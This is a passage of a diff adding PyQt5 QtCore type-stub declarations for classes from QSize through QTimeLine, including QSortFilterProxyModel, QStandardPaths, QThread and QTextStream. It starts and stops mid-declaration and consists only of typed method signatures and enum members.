isNull(self) -> bool: ... + def __repr__(self) -> str: ... + @typing.overload + def scale(self, s: 'QSize', mode: Qt.AspectRatioMode) -> None: ... + @typing.overload + def scale(self, w: int, h: int, mode: Qt.AspectRatioMode) -> None: ... + def transpose(self) -> None: ... + + +class QSizeF(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, sz: QSize) -> None: ... + @typing.overload + def __init__(self, w: float, h: float) -> None: ... + @typing.overload + def __init__(self, a0: 'QSizeF') -> None: ... + + def shrunkBy(self, m: QMarginsF) -> 'QSizeF': ... + def grownBy(self, m: QMarginsF) -> 'QSizeF': ... + def transposed(self) -> 'QSizeF': ... + @typing.overload + def scaled(self, s: 'QSizeF', mode: Qt.AspectRatioMode) -> 'QSizeF': ... + @typing.overload + def scaled(self, w: float, h: float, mode: Qt.AspectRatioMode) -> 'QSizeF': ... + def toSize(self) -> QSize: ... + def boundedTo(self, otherSize: 'QSizeF') -> 'QSizeF': ... + def expandedTo(self, otherSize: 'QSizeF') -> 'QSizeF': ... + def setHeight(self, h: float) -> None: ... + def setWidth(self, w: float) -> None: ... + def height(self) -> float: ... + def width(self) -> float: ... + def __bool__(self) -> int: ... + def isValid(self) -> bool: ... + def isEmpty(self) -> bool: ... + def isNull(self) -> bool: ... + def __repr__(self) -> str: ... + @typing.overload + def scale(self, s: 'QSizeF', mode: Qt.AspectRatioMode) -> None: ... + @typing.overload + def scale(self, w: float, h: float, mode: Qt.AspectRatioMode) -> None: ... + def transpose(self) -> None: ... + + +class QSocketNotifier(QObject): + + class Type(int): + Read = ... # type: QSocketNotifier.Type + Write = ... # type: QSocketNotifier.Type + Exception = ... # type: QSocketNotifier.Type + + def __init__(self, socket: PyQt5.sip.voidptr, a1: 'QSocketNotifier.Type', parent: typing.Optional[QObject] = ...) -> None: ... + + def event(self, a0: QEvent) -> bool: ... + def activated(self, socket: int) -> None: ... + def setEnabled(self, a0: bool) -> None: ... + def isEnabled(self) -> bool: ... + def type(self) -> 'QSocketNotifier.Type': ... + def socket(self) -> PyQt5.sip.voidptr: ... + + +class QSortFilterProxyModel(QAbstractProxyModel): + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def recursiveFilteringEnabledChanged(self, recursiveFilteringEnabled: bool) -> None: ... + def filterRoleChanged(self, filterRole: int) -> None: ... + def sortRoleChanged(self, sortRole: int) -> None: ... + def sortLocaleAwareChanged(self, sortLocaleAware: bool) -> None: ... + def sortCaseSensitivityChanged(self, sortCaseSensitivity: Qt.CaseSensitivity) -> None: ... + def filterCaseSensitivityChanged(self, filterCaseSensitivity: Qt.CaseSensitivity) -> None: ... + def dynamicSortFilterChanged(self, dynamicSortFilter: bool) -> None: ... + def invalidateFilter(self) -> None: ... + def setRecursiveFilteringEnabled(self, recursive: bool) -> None: ... + def isRecursiveFilteringEnabled(self) -> bool: ... + def sibling(self, row: int, column: int, idx: QModelIndex) -> QModelIndex: ... + def setSortLocaleAware(self, on: bool) -> None: ... + def isSortLocaleAware(self) -> bool: ... + def supportedDropActions(self) -> Qt.DropActions: ... + def mimeTypes(self) -> typing.List[str]: ... + def setFilterRole(self, role: int) -> None: ... + def filterRole(self) -> int: ... + def sortOrder(self) -> Qt.SortOrder: ... + def sortColumn(self) -> int: ... + def setSortRole(self, role: int) -> None: ... + def sortRole(self) -> int: ... + def setDynamicSortFilter(self, enable: bool) -> None: ... + def dynamicSortFilter(self) -> bool: ... + def setSortCaseSensitivity(self, cs: Qt.CaseSensitivity) -> None: ... + def sortCaseSensitivity(self) -> Qt.CaseSensitivity: ... + def sort(self, column: int, order: Qt.SortOrder = ...) -> None: ... + def match(self, start: QModelIndex, role: int, value: typing.Any, hits: int = ..., flags: typing.Union[Qt.MatchFlags, Qt.MatchFlag] = ...) -> typing.List[QModelIndex]: ... + def span(self, index: QModelIndex) -> QSize: ... + def buddy(self, index: QModelIndex) -> QModelIndex: ... + def flags(self, index: QModelIndex) -> Qt.ItemFlags: ... + def canFetchMore(self, parent: QModelIndex) -> bool: ... + def fetchMore(self, parent: QModelIndex) -> None: ... + def removeColumns(self, column: int, count: int, parent: QModelIndex = ...) -> bool: ... + def removeRows(self, row: int, count: int, parent: QModelIndex = ...) -> bool: ... + def insertColumns(self, column: int, count: int, parent: QModelIndex = ...) -> bool: ... + def insertRows(self, row: int, count: int, parent: QModelIndex = ...) -> bool: ... + def dropMimeData(self, data: QMimeData, action: Qt.DropAction, row: int, column: int, parent: QModelIndex) -> bool: ... + def mimeData(self, indexes: typing.Iterable[QModelIndex]) -> QMimeData: ... + def setHeaderData(self, section: int, orientation: Qt.Orientation, value: typing.Any, role: int = ...) -> bool: ... + def headerData(self, section: int, orientation: Qt.Orientation, role: int = ...) -> typing.Any: ... + def setData(self, index: QModelIndex, value: typing.Any, role: int = ...) -> bool: ... + def data(self, index: QModelIndex, role: int = ...) -> typing.Any: ... + def hasChildren(self, parent: QModelIndex = ...) -> bool: ... + def columnCount(self, parent: QModelIndex = ...) -> int: ... + def rowCount(self, parent: QModelIndex = ...) -> int: ... + @typing.overload + def parent(self, child: QModelIndex) -> QModelIndex: ... + @typing.overload + def parent(self) -> QObject: ... + def index(self, row: int, column: int, parent: QModelIndex = ...) -> QModelIndex: ... + def lessThan(self, left: QModelIndex, right: QModelIndex) -> bool: ... + def filterAcceptsColumn(self, source_column: int, source_parent: QModelIndex) -> bool: ... + def filterAcceptsRow(self, source_row: int, source_parent: QModelIndex) -> bool: ... + def setFilterWildcard(self, pattern: str) -> None: ... + @typing.overload + def setFilterRegularExpression(self, regularExpression: QRegularExpression) -> None: ... + @typing.overload + def setFilterRegularExpression(self, pattern: str) -> None: ... + @typing.overload + def setFilterRegExp(self, regExp: QRegExp) -> None: ... + @typing.overload + def setFilterRegExp(self, pattern: str) -> None: ... + def setFilterFixedString(self, pattern: str) -> None: ... + def invalidate(self) -> None: ... + def setFilterCaseSensitivity(self, cs: Qt.CaseSensitivity) -> None: ... + def filterCaseSensitivity(self) -> Qt.CaseSensitivity: ... + def setFilterKeyColumn(self, column: int) -> None: ... + def filterKeyColumn(self) -> int: ... + def filterRegularExpression(self) -> QRegularExpression: ... + def filterRegExp(self) -> QRegExp: ... + def mapSelectionFromSource(self, sourceSelection: QItemSelection) -> QItemSelection: ... + def mapSelectionToSource(self, proxySelection: QItemSelection) -> QItemSelection: ... + def mapFromSource(self, sourceIndex: QModelIndex) -> QModelIndex: ... + def mapToSource(self, proxyIndex: QModelIndex) -> QModelIndex: ... + def setSourceModel(self, sourceModel: QAbstractItemModel) -> None: ... + + +class QStandardPaths(sip.simplewrapper): + + class LocateOption(int): + LocateFile = ... # type: QStandardPaths.LocateOption + LocateDirectory = ... # type: QStandardPaths.LocateOption + + class StandardLocation(int): + DesktopLocation = ... # type: QStandardPaths.StandardLocation + DocumentsLocation = ... # type: QStandardPaths.StandardLocation + FontsLocation = ... # type: QStandardPaths.StandardLocation + ApplicationsLocation = ... # type: QStandardPaths.StandardLocation + MusicLocation = ... # type: QStandardPaths.StandardLocation + MoviesLocation = ... # type: QStandardPaths.StandardLocation + PicturesLocation = ... # type: QStandardPaths.StandardLocation + TempLocation = ... # type: QStandardPaths.StandardLocation + HomeLocation = ... # type: QStandardPaths.StandardLocation + DataLocation = ... # type: QStandardPaths.StandardLocation + CacheLocation = ... # type: QStandardPaths.StandardLocation + GenericDataLocation = ... # type: QStandardPaths.StandardLocation + RuntimeLocation = ... # type: QStandardPaths.StandardLocation + ConfigLocation = ... # type: QStandardPaths.StandardLocation + DownloadLocation = ... # type: QStandardPaths.StandardLocation + GenericCacheLocation = ... # type: QStandardPaths.StandardLocation + GenericConfigLocation = ... # type: QStandardPaths.StandardLocation + AppDataLocation = ... # type: QStandardPaths.StandardLocation + AppLocalDataLocation = ... # type: QStandardPaths.StandardLocation + AppConfigLocation = ... # type: QStandardPaths.StandardLocation + + class LocateOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QStandardPaths.LocateOptions', 'QStandardPaths.LocateOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QStandardPaths.LocateOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QStandardPaths.LocateOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, a0: 'QStandardPaths') -> None: ... + + @staticmethod + def setTestModeEnabled(testMode: bool) -> None: ... + @staticmethod + def enableTestMode(testMode: bool) -> None: ... + @staticmethod + def findExecutable(executableName: str, paths: typing.Iterable[str] = ...) -> str: ... + @staticmethod + def displayName(type: 'QStandardPaths.StandardLocation') -> str: ... + @staticmethod + def locateAll(type: 'QStandardPaths.StandardLocation', fileName: str, options: 'QStandardPaths.LocateOptions' = ...) -> typing.List[str]: ... + @staticmethod + def locate(type: 'QStandardPaths.StandardLocation', fileName: str, options: 'QStandardPaths.LocateOptions' = ...) -> str: ... + @staticmethod + def standardLocations(type: 'QStandardPaths.StandardLocation') -> typing.List[str]: ... + @staticmethod + def writableLocation(type: 'QStandardPaths.StandardLocation') -> str: ... + + +class QState(QAbstractState): + + class RestorePolicy(int): + DontRestoreProperties = ... # type: QState.RestorePolicy + RestoreProperties = ... # type: QState.RestorePolicy + + class ChildMode(int): + ExclusiveStates = ... # type: QState.ChildMode + ParallelStates = ... # type: QState.ChildMode + + @typing.overload + def __init__(self, parent: typing.Optional['QState'] = ...) -> None: ... + @typing.overload + def __init__(self, childMode: 'QState.ChildMode', parent: typing.Optional['QState'] = ...) -> None: ... + + def errorStateChanged(self) -> None: ... + def initialStateChanged(self) -> None: ... + def childModeChanged(self) -> None: ... + def event(self, e: QEvent) -> bool: ... + def onExit(self, event: QEvent) -> None: ... + def onEntry(self, event: QEvent) -> None: ... + def propertiesAssigned(self) -> None: ... + def finished(self) -> None: ... + def assignProperty(self, object: QObject, name: str, value: typing.Any) -> None: ... + def setChildMode(self, mode: 'QState.ChildMode') -> None: ... + def childMode(self) -> 'QState.ChildMode': ... + def setInitialState(self, state: QAbstractState) -> None: ... + def initialState(self) -> QAbstractState: ... + def transitions(self) -> typing.List[QAbstractTransition]: ... + def removeTransition(self, transition: QAbstractTransition) -> None: ... + @typing.overload + def addTransition(self, transition: QAbstractTransition) -> None: ... + @typing.overload + def addTransition(self, signal: pyqtBoundSignal, target: QAbstractState) -> QSignalTransition: ... + @typing.overload + def addTransition(self, target: QAbstractState) -> QAbstractTransition: ... + def setErrorState(self, state: QAbstractState) -> None: ... + def errorState(self) -> QAbstractState: ... + + +class QStateMachine(QState): + + class Error(int): + NoError = ... # type: QStateMachine.Error + NoInitialStateError = ... # type: QStateMachine.Error + NoDefaultStateInHistoryStateError = ... # type: QStateMachine.Error + NoCommonAncestorForTransitionError = ... # type: QStateMachine.Error + StateMachineChildModeSetToParallelError = ... # type: QStateMachine.Error + + class EventPriority(int): + NormalPriority = ... # type: QStateMachine.EventPriority + HighPriority = ... # type: QStateMachine.EventPriority + + class SignalEvent(QEvent): + + def arguments(self) -> typing.List[typing.Any]: ... + def signalIndex(self) -> int: ... + def sender(self) -> QObject: ... + + class WrappedEvent(QEvent): + + def event(self) -> QEvent: ... + def object(self) -> QObject: ... + + @typing.overload + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, childMode: QState.ChildMode, parent: typing.Optional[QObject] = ...) -> None: ... + + def event(self, e: QEvent) -> bool: ... + def onExit(self, event: QEvent) -> None: ... + def onEntry(self, event: QEvent) -> None: ... + def runningChanged(self, running: bool) -> None: ... + def stopped(self) -> None: ... + def started(self) -> None: ... + def setRunning(self, running: bool) -> None: ... + def stop(self) -> None: ... + def start(self) -> None: ... + def eventFilter(self, watched: QObject, event: QEvent) -> bool: ... + def configuration(self) -> typing.Set[QAbstractState]: ... + def cancelDelayedEvent(self, id: int) -> bool: ... + def postDelayedEvent(self, event: QEvent, delay: int) -> int: ... + def postEvent(self, event: QEvent, priority: 'QStateMachine.EventPriority' = ...) -> None: ... + def setGlobalRestorePolicy(self, restorePolicy: QState.RestorePolicy) -> None: ... + def globalRestorePolicy(self) -> QState.RestorePolicy: ... + def removeDefaultAnimation(self, animation: QAbstractAnimation) -> None: ... + def defaultAnimations(self) -> typing.List[QAbstractAnimation]: ... + def addDefaultAnimation(self, animation: QAbstractAnimation) -> None: ... + def setAnimated(self, enabled: bool) -> None: ... + def isAnimated(self) -> bool: ... + def isRunning(self) -> bool: ... + def clearError(self) -> None: ... + def errorString(self) -> str: ... + def error(self) -> 'QStateMachine.Error': ... + def removeState(self, state: QAbstractState) -> None: ... + def addState(self, state: QAbstractState) -> None: ... + + +class QStorageInfo(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, path: str) -> None: ... + @typing.overload + def __init__(self, dir: QDir) -> None: ... + @typing.overload + def __init__(self, other: 'QStorageInfo') -> None: ... + + def subvolume(self) -> QByteArray: ... + def blockSize(self) -> int: ... + def isRoot(self) -> bool: ... + @staticmethod + def root() -> 'QStorageInfo': ... + @staticmethod + def mountedVolumes() -> typing.List['QStorageInfo']: ... + def refresh(self) -> None: ... + def isValid(self) -> bool: ... + def isReady(self) -> bool: ... + def isReadOnly(self) -> bool: ... + def bytesAvailable(self) -> int: ... + def bytesFree(self) -> int: ... + def bytesTotal(self) -> int: ... + def displayName(self) -> str: ... + def name(self) -> str: ... + def fileSystemType(self) -> QByteArray: ... + def device(self) -> QByteArray: ... + def rootPath(self) -> str: ... + def setPath(self, path: str) -> None: ... + def swap(self, other: 'QStorageInfo') -> None: ... + + +class QStringListModel(QAbstractListModel): + + @typing.overload + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, strings: typing.Iterable[str], parent: typing.Optional[QObject] = ...) -> None: ... + + def setItemData(self, index: QModelIndex, roles: typing.Dict[int, typing.Any]) -> bool: ... + def itemData(self, index: QModelIndex) -> typing.Dict[int, typing.Any]: ... + def moveRows(self, sourceParent: QModelIndex, sourceRow: int, count: int, destinationParent: QModelIndex, destinationChild: int) -> bool: ... + def sibling(self, row: int, column: int, idx: QModelIndex) -> QModelIndex: ... + def supportedDropActions(self) -> Qt.DropActions: ... + def sort(self, column: int, order: Qt.SortOrder = ...) -> None: ... + def setStringList(self, strings: typing.Iterable[str]) -> None: ... + def stringList(self) -> typing.List[str]: ... + def removeRows(self, row: int, count: int, parent: QModelIndex = ...) -> bool: ... + def insertRows(self, row: int, count: int, parent: QModelIndex = ...) -> bool: ... + def flags(self, index: QModelIndex) -> Qt.ItemFlags: ... + def setData(self, index: QModelIndex, value: typing.Any, role: int = ...) -> bool: ... + def data(self, index: QModelIndex, role: int) -> typing.Any: ... + def rowCount(self, parent: QModelIndex = ...) -> int: ... + + +class QSystemSemaphore(sip.simplewrapper): + + class SystemSemaphoreError(int): + NoError = ... # type: QSystemSemaphore.SystemSemaphoreError + PermissionDenied = ... # type: QSystemSemaphore.SystemSemaphoreError + KeyError = ... # type: QSystemSemaphore.SystemSemaphoreError + AlreadyExists = ... # type: QSystemSemaphore.SystemSemaphoreError + NotFound = ... # type: QSystemSemaphore.SystemSemaphoreError + OutOfResources = ... # type: QSystemSemaphore.SystemSemaphoreError + UnknownError = ... # type: QSystemSemaphore.SystemSemaphoreError + + class AccessMode(int): + Open = ... # type: QSystemSemaphore.AccessMode + Create = ... # type: QSystemSemaphore.AccessMode + + def __init__(self, key: str, initialValue: int = ..., mode: 'QSystemSemaphore.AccessMode' = ...) -> None: ... + + def errorString(self) -> str: ... + def error(self) -> 'QSystemSemaphore.SystemSemaphoreError': ... + def release(self, n: int = ...) -> bool: ... + def acquire(self) -> bool: ... + def key(self) -> str: ... + def setKey(self, key: str, initialValue: int = ..., mode: 'QSystemSemaphore.AccessMode' = ...) -> None: ... + + +class QTemporaryDir(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, templateName: str) -> None: ... + + def filePath(self, fileName: str) -> str: ... + def errorString(self) -> str: ... + def path(self) -> str: ... + def remove(self) -> bool: ... + def setAutoRemove(self, b: bool) -> None: ... + def autoRemove(self) -> bool: ... + def isValid(self) -> bool: ... + + +class QTemporaryFile(QFile): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, templateName: str) -> None: ... + @typing.overload + def __init__(self, parent: QObject) -> None: ... + @typing.overload + def __init__(self, templateName: str, parent: QObject) -> None: ... + + def rename(self, newName: str) -> bool: ... + @typing.overload + @staticmethod + def createNativeFile(fileName: str) -> 'QTemporaryFile': ... + @typing.overload + @staticmethod + def createNativeFile(file: QFile) -> 'QTemporaryFile': ... + def setFileTemplate(self, name: str) -> None: ... + def fileTemplate(self) -> str: ... + def fileName(self) -> str: ... + @typing.overload + def open(self) -> bool: ... + @typing.overload + def open(self, flags: typing.Union[QIODevice.OpenMode, QIODevice.OpenModeFlag]) -> bool: ... + def setAutoRemove(self, b: bool) -> None: ... + def autoRemove(self) -> bool: ... + + +class QTextBoundaryFinder(sip.simplewrapper): + + class BoundaryType(int): + Grapheme = ... # type: QTextBoundaryFinder.BoundaryType + Word = ... # type: QTextBoundaryFinder.BoundaryType + Line = ... # type: QTextBoundaryFinder.BoundaryType + Sentence = ... # type: QTextBoundaryFinder.BoundaryType + + class BoundaryReason(int): + NotAtBoundary = ... # type: QTextBoundaryFinder.BoundaryReason + SoftHyphen = ... # type: QTextBoundaryFinder.BoundaryReason + BreakOpportunity = ... # type: QTextBoundaryFinder.BoundaryReason + StartOfItem = ... # type: QTextBoundaryFinder.BoundaryReason + EndOfItem = ... # type: QTextBoundaryFinder.BoundaryReason + MandatoryBreak = ... # type: QTextBoundaryFinder.BoundaryReason + + class BoundaryReasons(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QTextBoundaryFinder.BoundaryReasons', 'QTextBoundaryFinder.BoundaryReason']) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextBoundaryFinder.BoundaryReasons') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QTextBoundaryFinder.BoundaryReasons': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QTextBoundaryFinder') -> None: ... + @typing.overload + def __init__(self, type: 'QTextBoundaryFinder.BoundaryType', string: str) -> None: ... + + def boundaryReasons(self) -> 'QTextBoundaryFinder.BoundaryReasons': ... + def isAtBoundary(self) -> bool: ... + def toPreviousBoundary(self) -> int: ... + def toNextBoundary(self) -> int: ... + def setPosition(self, position: int) -> None: ... + def position(self) -> int: ... + def toEnd(self) -> None: ... + def toStart(self) -> None: ... + def string(self) -> str: ... + def type(self) -> 'QTextBoundaryFinder.BoundaryType': ... + def isValid(self) -> bool: ... + + +class QTextCodec(PyQt5.sip.wrapper): + + class ConversionFlag(int): + DefaultConversion = ... # type: QTextCodec.ConversionFlag + ConvertInvalidToNull = ... # type: QTextCodec.ConversionFlag + IgnoreHeader = ... # type: QTextCodec.ConversionFlag + + class ConversionFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QTextCodec.ConversionFlags', 'QTextCodec.ConversionFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextCodec.ConversionFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QTextCodec.ConversionFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class ConverterState(sip.simplewrapper): + + def __init__(self, flags: typing.Union['QTextCodec.ConversionFlags', 'QTextCodec.ConversionFlag'] = ...) -> None: ... + + def __init__(self) -> None: ... + + def convertFromUnicode(self, in_: str, state: 'QTextCodec.ConverterState') -> QByteArray: ... + def convertToUnicode(self, in_: bytes, state: 'QTextCodec.ConverterState') -> str: ... + def mibEnum(self) -> int: ... + def aliases(self) -> typing.List[QByteArray]: ... + def name(self) -> QByteArray: ... + def fromUnicode(self, uc: str) -> QByteArray: ... + @typing.overload + def toUnicode(self, a0: typing.Union[QByteArray, bytes, bytearray]) -> str: ... + @typing.overload + def toUnicode(self, chars: bytes) -> str: ... + @typing.overload + def toUnicode(self, in_: bytes, state: typing.Optional['QTextCodec.ConverterState'] = ...) -> str: ... + def canEncode(self, a0: str) -> bool: ... + def makeEncoder(self, flags: typing.Union['QTextCodec.ConversionFlags', 'QTextCodec.ConversionFlag'] = ...) -> 'QTextEncoder': ... + def makeDecoder(self, flags: typing.Union['QTextCodec.ConversionFlags', 'QTextCodec.ConversionFlag'] = ...) -> 'QTextDecoder': ... + @staticmethod + def setCodecForLocale(c: 'QTextCodec') -> None: ... + @staticmethod + def codecForLocale() -> 'QTextCodec': ... + @staticmethod + def availableMibs() -> typing.List[int]: ... + @staticmethod + def availableCodecs() -> typing.List[QByteArray]: ... + @typing.overload + @staticmethod + def codecForUtfText(ba: typing.Union[QByteArray, bytes, bytearray]) -> 'QTextCodec': ... + @typing.overload + @staticmethod + def codecForUtfText(ba: typing.Union[QByteArray, bytes, bytearray], defaultCodec: 'QTextCodec') -> 'QTextCodec': ... + @typing.overload + @staticmethod + def codecForHtml(ba: typing.Union[QByteArray, bytes, bytearray]) -> 'QTextCodec': ... + @typing.overload + @staticmethod + def codecForHtml(ba: typing.Union[QByteArray, bytes, bytearray], defaultCodec: 'QTextCodec') -> 'QTextCodec': ... + @staticmethod + def codecForMib(mib: int) -> 'QTextCodec': ... + @typing.overload + @staticmethod + def codecForName(name: typing.Union[QByteArray, bytes, bytearray]) -> 'QTextCodec': ... + @typing.overload + @staticmethod + def codecForName(name: str) -> 'QTextCodec': ... + + +class QTextEncoder(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self, codec: QTextCodec) -> None: ... + @typing.overload + def __init__(self, codec: QTextCodec, flags: typing.Union[QTextCodec.ConversionFlags, QTextCodec.ConversionFlag]) -> None: ... + + def fromUnicode(self, str: str) -> QByteArray: ... + + +class QTextDecoder(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self, codec: QTextCodec) -> None: ... + @typing.overload + def __init__(self, codec: QTextCodec, flags: typing.Union[QTextCodec.ConversionFlags, QTextCodec.ConversionFlag]) -> None: ... + + @typing.overload + def toUnicode(self, chars: bytes) -> str: ... + @typing.overload + def toUnicode(self, ba: typing.Union[QByteArray, bytes, bytearray]) -> str: ... + + +class QTextStream(sip.simplewrapper): + + class Status(int): + Ok = ... # type: QTextStream.Status + ReadPastEnd = ... # type: QTextStream.Status + ReadCorruptData = ... # type: QTextStream.Status + WriteFailed = ... # type: QTextStream.Status + + class NumberFlag(int): + ShowBase = ... # type: QTextStream.NumberFlag + ForcePoint = ... # type: QTextStream.NumberFlag + ForceSign = ... # type: QTextStream.NumberFlag + UppercaseBase = ... # type: QTextStream.NumberFlag + UppercaseDigits = ... # type: QTextStream.NumberFlag + + class FieldAlignment(int): + AlignLeft = ... # type: QTextStream.FieldAlignment + AlignRight = ... # type: QTextStream.FieldAlignment + AlignCenter = ... # type: QTextStream.FieldAlignment + AlignAccountingStyle = ... # type: QTextStream.FieldAlignment + + class RealNumberNotation(int): + SmartNotation = ... # type: QTextStream.RealNumberNotation + FixedNotation = ... # type: QTextStream.RealNumberNotation + ScientificNotation = ... # type: QTextStream.RealNumberNotation + + class NumberFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QTextStream.NumberFlags', 'QTextStream.NumberFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextStream.NumberFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QTextStream.NumberFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, device: QIODevice) -> None: ... + @typing.overload + def __init__(self, array: QByteArray, mode: typing.Union[QIODevice.OpenMode, QIODevice.OpenModeFlag] = ...) -> None: ... + + def locale(self) -> QLocale: ... + def setLocale(self, locale: QLocale) -> None: ... + def pos(self) -> int: ... + def resetStatus(self) -> None: ... + def setStatus(self, status: 'QTextStream.Status') -> None: ... + def status(self) -> 'QTextStream.Status': ... + def realNumberPrecision(self) -> int: ... + def setRealNumberPrecision(self, precision: int) -> None: ... + def realNumberNotation(self) -> 'QTextStream.RealNumberNotation': ... + def setRealNumberNotation(self, notation: 'QTextStream.RealNumberNotation') -> None: ... + def integerBase(self) -> int: ... + def setIntegerBase(self, base: int) -> None: ... + def numberFlags(self) -> 'QTextStream.NumberFlags': ... + def setNumberFlags(self, flags: typing.Union['QTextStream.NumberFlags', 'QTextStream.NumberFlag']) -> None: ... + def fieldWidth(self) -> int: ... + def setFieldWidth(self, width: int) -> None: ... + def padChar(self) -> str: ... + def setPadChar(self, ch: str) -> None: ... + def fieldAlignment(self) -> 'QTextStream.FieldAlignment': ... + def setFieldAlignment(self, alignment: 'QTextStream.FieldAlignment') -> None: ... + def readAll(self) -> str: ... + def readLine(self, maxLength: int = ...) -> str: ... + def read(self, maxlen: int) -> str: ... + def skipWhiteSpace(self) -> None: ... + def seek(self, pos: int) -> bool: ... + def flush(self) -> None: ... + def reset(self) -> None: ... + def atEnd(self) -> bool: ... + def device(self) -> QIODevice: ... + def setDevice(self, device: QIODevice) -> None: ... + def generateByteOrderMark(self) -> bool: ... + def setGenerateByteOrderMark(self, generate: bool) -> None: ... + def autoDetectUnicode(self) -> bool: ... + def setAutoDetectUnicode(self, enabled: bool) -> None: ... + def codec(self) -> QTextCodec: ... + @typing.overload + def setCodec(self, codec: QTextCodec) -> None: ... + @typing.overload + def setCodec(self, codecName: str) -> None: ... + + +class QTextStreamManipulator(sip.simplewrapper): ... + + +class QThread(QObject): + + class Priority(int): + IdlePriority = ... # type: QThread.Priority + LowestPriority = ... # type: QThread.Priority + LowPriority = ... # type: QThread.Priority + NormalPriority = ... # type: QThread.Priority + HighPriority = ... # type: QThread.Priority + HighestPriority = ... # type: QThread.Priority + TimeCriticalPriority = ... # type: QThread.Priority + InheritPriority = ... # type: QThread.Priority + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def loopLevel(self) -> int: ... + def isInterruptionRequested(self) -> bool: ... + def requestInterruption(self) -> None: ... + def setEventDispatcher(self, eventDispatcher: QAbstractEventDispatcher) -> None: ... + def eventDispatcher(self) -> QAbstractEventDispatcher: ... + @staticmethod + def usleep(a0: int) -> None: ... + @staticmethod + def msleep(a0: int) -> None: ... + @staticmethod + def sleep(a0: int) -> None: ... + def event(self, event: QEvent) -> bool: ... + @staticmethod + def setTerminationEnabled(enabled: bool = ...) -> None: ... + def exec(self) -> int: ... + def exec_(self) -> int: ... + def run(self) -> None: ... + def finished(self) -> None: ... + def started(self) -> None: ... + @typing.overload + def wait(self, msecs: int = ...) -> bool: ... + @typing.overload + def wait(self, deadline: QDeadlineTimer) -> bool: ... + def quit(self) -> None: ... + def terminate(self) -> None: ... + def start(self, priority: 'QThread.Priority' = ...) -> None: ... + def exit(self, returnCode: int = ...) -> None: ... + def stackSize(self) -> int: ... + def setStackSize(self, stackSize: int) -> None: ... + def priority(self) -> 'QThread.Priority': ... + def setPriority(self, priority: 'QThread.Priority') -> None: ... + def isRunning(self) -> bool: ... + def isFinished(self) -> bool: ... + @staticmethod + def yieldCurrentThread() -> None: ... + @staticmethod + def idealThreadCount() -> int: ... + @staticmethod + def currentThreadId() -> PyQt5.sip.voidptr: ... + @staticmethod + def currentThread() -> 'QThread': ... + + +class QThreadPool(QObject): + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def stackSize(self) -> int: ... + def setStackSize(self, stackSize: int) -> None: ... + def cancel(self, runnable: QRunnable) -> None: ... + def clear(self) -> None: ... + def waitForDone(self, msecs: int = ...) -> bool: ... + def releaseThread(self) -> None: ... + def reserveThread(self) -> None: ... + def activeThreadCount(self) -> int: ... + def setMaxThreadCount(self, maxThreadCount: int) -> None: ... + def maxThreadCount(self) -> int: ... + def setExpiryTimeout(self, expiryTimeout: int) -> None: ... + def expiryTimeout(self) -> int: ... + def tryTake(self, runnable: QRunnable) -> bool: ... + @typing.overload + def tryStart(self, runnable: QRunnable) -> bool: ... + @typing.overload + def tryStart(self, functionToRun: typing.Callable[[], None]) -> bool: ... + @typing.overload + def start(self, runnable: QRunnable, priority: int = ...) -> None: ... + @typing.overload + def start(self, functionToRun: typing.Callable[[], None], priority: int = ...) -> None: ... + @staticmethod + def globalInstance() -> 'QThreadPool': ... + + +class QTimeLine(QObject): + + class State(int): + NotRunning = ... # type: QTimeLine.State + Paused = ... # type: QTimeLine.State + Running = ... # type: QTimeLine.State + + class Direction(int): + Forward = ... # type: QTimeLine.Direction + Backward = ... # type: QTimeLine.Direction + + class CurveShape(int): + EaseInCurve = ... # type: QTimeLine.CurveShape + EaseOutCurve = ... # type: QTimeLine.CurveShape + EaseInOutCurve = ... # type: QTimeLine.CurveShape + LinearCurve = ... # type: QTimeLine.CurveShape + SineCurve = ... # type: QTimeLine.CurveShape + CosineCurve = ... # type: QTimeLine.CurveShape + + def __init__(self, duration: int = ..., parent: typing.Optional[QObject] = ...) -> None: ... + + def setEasingCurve(self, curve: typing.Union[QEasingCurve, QEasingCurve.Type]) -> None: ... + def easingCurve(self) -> QEasingCurve: ... + def timerEvent(self, event: QTimerEvent) -> None: ... + def valueChanged(self, x: float) -> None: ... + def stateChanged(self, newState: 'QTimeLine.State') -> None: ... + def frameChanged(self, a0: int) -> None: ... + def finished(self) -> None: ... + def toggleDirection(self) -> None: ... + def 